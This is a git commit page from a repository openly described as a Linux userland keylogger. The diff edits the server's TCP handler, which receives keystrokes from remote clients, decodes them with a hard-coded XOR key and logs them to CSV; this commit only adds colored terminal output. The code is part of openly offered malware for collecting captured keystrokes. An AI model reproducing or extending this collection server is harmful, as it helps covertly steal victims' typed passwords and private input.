mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit d730e6c31ca02c9f97f0d7582f95509664b6356f
parent 4cc4283e874be27558643bdc0a020ee256fdb1c9
Author: yeet <[email protected]>
Date: Mon, 3 May 2021 12:01:47 +0000

(mod/output)colored terminal display

Diffstat:
Mserver/TCP_handler.py | 9++++++++-

1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/server/TCP_handler.py b/server/TCP_handler.py
@@ -30,6 +30,13 @@ def log_csv(ip_cli, ipt):
 class TCPHandler(BaseRequestHandler):
 
     def handle(self):
+        Red='\033[31m'          # Red
+        Green='\033[32m'        # Green
+        Yellow='\033[33m'       # Yellow
+        Blue='\033[34m'         # Blue
+        Cyan='\033[36m'         # Cyan
+        NC="\033[m"               # Color Reset 
+
         client = self.request.getpeername()
         ip_cli = f'{client[0]}:{client[1]}'
         log_csv(ip_cli, "200 NEW CONNEXION")
@@ -45,7 +52,7 @@ class TCPHandler(BaseRequestHandler):
             #  Decode data here, before writing it into csv.
             data = str(xor(data, 'B4N4N4'), 'ascii')
             cur_time = datetime.now().strftime("%d/%m/%Y %H:%M:%S")
-            print(f'[+] {cur_time}: Received new keystrokes from {ip_cli}: {data}')
+            print(f'{Green}[+] {Red}{cur_time}{NC}: Received new keystrokes from {Red}{ip_cli}{NC}:{Cyan} {data}{NC}')
             log_csv(ip_cli, f'{data}\n{cur_time}')